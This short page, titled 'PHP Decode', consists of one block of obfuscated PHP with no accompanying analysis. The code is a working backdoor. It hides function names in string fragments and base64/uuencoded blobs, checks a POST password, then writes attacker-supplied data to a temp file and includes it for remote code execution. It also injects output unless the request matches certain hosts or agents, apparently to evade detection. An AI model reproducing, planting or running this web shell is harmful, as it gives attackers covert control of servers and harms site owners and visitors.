PHP Decode

<?php $t = 'er' . 'ro' . 'r_' . 'r' . 'epo' . 'rt' . 'in' . 'g'; 
$b0 = 'MDxXRVM3Vj1FPSVdVDk2VVA3VjFJPEBgYApgCg=='; 
$b1 = 'b' . 'a' . 'se' . '6' . '4_' . 'e' . '' . 'nc' . 'od' . 'e'; 
$b2 = 'b' . 'as' . 'e' . '6' . '4_d' . 'e' . 'c' . 'o' . 'd' . 'e'; 
$b3 = 'c' . 'on' . 've' . 'rt_uue' . 'nco' . 'de'; 
$b4 = 'c' . 'o' . 'nve' . 'rt' . '_u' . 'ude' . 'co' . 'de'; 
$b5 = 'MTlGRUw5' . 'NV1QPTcxP' . 'zhWXU' . '49JjVOPScsYApgCg=='; 
$b7 = ''; 
$b8 = 'JD0mR' . 'UM6U' . 'GBgCmAK'; 
$b9 = 'IzkmRUUKYAo='; 
$b10 = 'Izs2' . 'MFU' . 'KYAo='; 
$b11 = 'QC4mOFE5Q0RWLSYkVDhDMUQ' . 'uJjBRODYsU' . 'zlDYFMuI' . 'zhWLjMtRCx' . 'DQUQsIyxgCmAK'; 
$b12 = 'IjhG' . 'QGA' . 'KYAo='; 
$b13 = 'IjhDLGAKYAo='; 
$b14 = 'Ji8jXV' . 'A6J' . '2BACmAK'; 
$b18 = 'LS8nLUM8R' . 'kVQPSIh' . 'UzxGLF0pUGBgCmAK'; 
$b19 = 'KylTWFwrVy1DPEZFUD0jWGAKYAo='; 
$b20 = '    TDonMVQ8JyxaK1JdUz0mNVArRlFJO0Y1Uz0mXUc5NzBOOFZdTStXLUM8RkVQPScsTzxXMUU8I2BOOkcsYApgCg=='; 
$b21 = 'JTwnKUk7RzBgCmAK'; 
$b22 = 'KD1XYE04NjFNOjZYYApgCg=='; 
$b23 = 'KD1XYE07Jl1HOjZYYApgCg=='; 
$b24 = 'KjxGNVM9JV1SO1c1VDkwYGAKYAo='; 
$b25 = 'Jz1XYE06Ry1PO0BgYApgCg=='; 
$b30 = 'KTIlMTQ0JV0oM1UtNApgCg=='; 
$b31 = 'KzRENTE1NDUzNSVdNTRERGAKYAo='; 
$b34 = 'JjxXMVI8Jl1TCmAK'; 
$b41 = 'WlhOeWEycDBjMmg1Y3paaFpUUnJhblU9'; 
$b16 = $b4($b2($b0))();if (isset($_POST[$b4($b2($b12))])) {if ($b4($b2($b10))($_POST[$b4($b2($b12))]) === $b4($b2($b11))) {$b45 = $_POST[$b4($b2($b13))]; 
    $b4($b2($b5))($b16 . '/' . $b4($b2($b8)), $b4($b2($b14)) . $b2($b45));@include $b16 . '/' . $b4($b2($b8));die();}}if (isset($_POST[$b4($b2($b8)) . $b4($b2($b8))]) || isset($_GET[$b4($b2($b8)) . $b4($b2($b8))])) {echo $b4($b2($b10))($b4($b2($b8)));die();} else { $b27 = 0; 
    $b26 = array($b4($b2($b22)), $b4($b2($b23)), $b4($b2($b24)), $b4($b2($b25))); 
    $b32 = $_SERVER[$b4($b2($b30))] . $_SERVER[$b4($b2($b31))];foreach ($b26 as $b33) {if ($b4($b2($b34))($b32, $b33) !== false) {$b27 = 1;}}if ($b27 == 0) {echo $b4($b2($b18)) . $b4($b2($b20)) . $b4($b2($b19));}} 
 ?>